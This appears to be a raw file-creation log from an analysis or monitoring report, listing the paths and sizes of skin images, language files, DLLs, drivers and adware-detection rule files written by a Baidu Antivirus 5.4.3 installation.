%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_setting.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\btn_lan_hover.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\Bdark64.sys (78 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\HipsLogger.dll (297 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\avira_engine_ico_gray.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\netshop_bg_red.png (27 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\GuideSlice_7_ScanNow.png (41 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\radiobox\radio_unsel_nor.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\closeD.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin1054.txt (48 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\side_red_arrow_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\logo.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1252.2shared.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\GuideSlice_7_ScanNow.png (39 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\tools\tools_cancel_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1050.SolidSavings.rul (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1206.easydeals.rul (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\GuideSlice_7_ScanNow.png (39 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\SecurityCode\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_usb_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavOpenUnknownFile\skin.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\icon2.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\investigate\skin\investigate_op_layout1_bg.png (44 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\iconLock.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\investigate\skin\investigate_op_layout2_bg.png (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\checkbox\checkbox_sel_nor.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHipsSvc.exe (1812 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\checkbox\checkbox_unsel_hot.png (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\investigate\skin\investigate_op_layout2_bg.png (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\investigate\skin\investigate_op_layout2_bg.png (26 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\speechrolehover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\voicePlayGif.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\gray_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavUm64.dll (7972 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1054.CouponCaddy.rul (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\main_title_noprocess.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUpdater\skin.xml (10 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavMem.dll (150 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\white_deep_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\9FB78DD8-8083-4d5b-86FA-7C9AE2B224E0\gray_icon2.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\checkbox\checkox_unsel_disale.png (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_type_virus.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\feedback\skin\main-feedback_tittle.png (67 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\VirusList\skin\onaccess\top_bg.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\feedback\skin\main-feedback_tittle.png (74 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavTray.exe (12288 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin.xml (59 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\combobox\combobox_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\green_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\btnH.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\nwi.dat (262 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\summary_top_safe_text.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\mainFrame_investigate_mini_layout3_bg.png (129 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\arrow_normal.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1205.hdtotals.rul (13 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1169.LoadTubes.rul (812 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\investigate\skin\mainFrame_investigate_mini_layout2_slice.png (10 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1175.SySaver.rul (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1155.CouponChaser.rul (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1141.GameMasterToolbar.rul (22 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\ieprotect\skin\lockOpen.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1170.Alawar_Ask_brch.rul (18 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\menu_icon_settinghover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUpdater\skin\en_reboot_title.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dump\CrashReportModuleConf.ini (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\I18N\1046\skin.xml (773 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\symsrv.dll (1636 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1047.A180Darts.rul (16 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\waitingGif.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_tip_orange.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavTray\skin\black_pop_excluded.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1245.winloadnew.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\ieprotect\skin\lockOpen.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\log_threats.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\bluebg_checkbox_sel_nor.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\investigate\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\button_close_down.png (315 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\logo_updating.png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\minBtn.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUpdater\skin.xml (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BdApiUtil.sys (101 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\tools\tools_cancel_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\language.ini (70 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\blue_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\rcsex.dat (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavTray\skin\dl_safe.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\sysbutton\TopBtnSet.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\webcake.rul (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\CrashReport.exe (3809 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\ieprotect\skin\safeicon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1114.ST-Eng7.rul (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\gray_normal.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\Bdark.sys (82 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavTray\skin\black_pop_excluded.png (4 bytes)
%WinDir%\Tasks\060184C3-9766-46a0-B258-F4518A0B2633.job (978 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\checkbox_sel_hot.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1232.555.in.th.rul (511 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\bhf.dat (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\orgconfig.ini (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\file-false-positives.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\feedback\skin\main-feedback_tittle.png (72 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\report_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\FileAssoicate.txt (20 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\investigate\skin\mainFrame_investigate_mini_layout2_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavPBMisc.dll (5442 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\checkbox\checkbox_sound_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bndef64.sys (1766 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavWl.dll (1649 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\DarkLanguageConfig.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\setting_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\investigate\skin\investigate_op_layout3_bg.png (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1065.DeltaToolbar.rul (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavTray\skin\dl_threat.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\line4.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\button_min_over.png (191 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\icon\icon_ignored.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\ieprotect\skin\lockOpen.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\IEProtect.exe (3705 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\icon2.png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin1031.txt (45 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1072.MyHomepage.rul (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\bgExpart.png (30 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\focus.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\BrowserProtect.rul (101 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\checkbox.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\ieprotect\skin\setbtn_off_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\protectSetHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73\ALLICON_05.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\arrow_right_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavQv.dll (160 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\summary_top_safe_text.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\msgbox\FileShredderPopbg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\protectSetNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\onBtnHover.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\main_title_noprocess.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\icon_warning.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\ProcessQuickScan.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_Adp\Plugin_HipsAdp.dll (7386 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\LockList\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\feedback\skin\SUBMIT_bg2.png (66 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\investigate\skin\investigate_op_layout1_bg.png (62 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\bubble_set_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\hips_adblock_icon.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\checkbox_nor_unknown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\split_title_line.png (143 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\icon.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1090.DVDVideoSoftToolbar.rul (21 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\I18N\1057\skin.xml (820 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\investigate\skin\unloadInvestigateTitle.png (29 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\pop_button_close_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1077.BrowserCompanion.rul (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\Font\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\itemhover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\bg\safe_bk.png (16 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\arrowUpH.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1196.V9Toolbar.rul (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\sqlite.dll (1821 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\guide_bg2.png (199 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\feedback_button_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\scan_close_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\ProcessQuickScan.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\investigate\skin\mainFrame_investigate_mini_layout1_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\Font\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\summary_top_safe_custom.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\ieprotect\skin\safeicon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\point_in.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\button_min_normal.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\uninstall.ico (32 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\blue_arrow_up.png (962 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1046.appbario12.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavTray\skin\black_pop_detected.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\plugin\icon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\ieprotect\skin\setbtn_on_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\IntellNoDisturb.dll (1613 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\main_title_unprotected.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\investigate\skin\unloadInvestigateTitle.png (22 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin.xml (88 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\combobox_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\feedback\skin\main-feedback_tittle.png (67 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\role_2.png (22 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Quarantine\res\skin\animate.png (768 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bavnt64.dll (32 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\investigate\skin\mainFrame_investigate_mini_layout2_slice.png (10 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_tip.png (1 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Baidu Antivirus\Baidu Antivirus.lnk (697 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\investigate\skin\investigate_op_layout1_bg.png (44 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\orange_btn_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\scrollbar\scrollbar_thumb_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\5DB281C3-B655-656A-01B6-E302199E376A\icon2.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_black.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\sysbutton\TopBtnSet.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1212.freeven.rul (13 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\ieprotect\skin\setbtn_on_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\ReportCtrlCache.dat (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\6BA17A92-4345-49c0-A228-A57C2E779055\iconN.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUpdater\skin\th_reboot_title.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin.xml (64 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\bg_warning.bmp (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\FileSplitUpLoad.dll (147 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavTray\skin.xml (84 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\red_btn_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\bg\listHeadLine.png (999 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\ieprotect\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\EnumModules.exe (93 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\orange_btn_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\checkbox\checkbox_sound_uncheck_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\green_big_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\guide_main_layout9_slice.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavTray\skin\black_pop_suessfully.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\midhf.dat (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavTray\skin.xml (89 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUpdater\skin.xml (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\pll.dat (235 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\9FB78DD8-8083-4d5b-86FA-7C9AE2B224E0\icon3G.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\side_orange_arrow_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\investigate\skin\mainFrame_investigate_mini_layout1_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\mainFrame_investigate_ask_channel_bg.png (27 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\popup1.bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1139.RecipesBar.rul (21 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\DrvInst.dll (138 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\bg\anti_guide_bg.png (13 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\gray_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavTray\skin\dl_scanning.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\close_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\like_select.png (1 bytes)
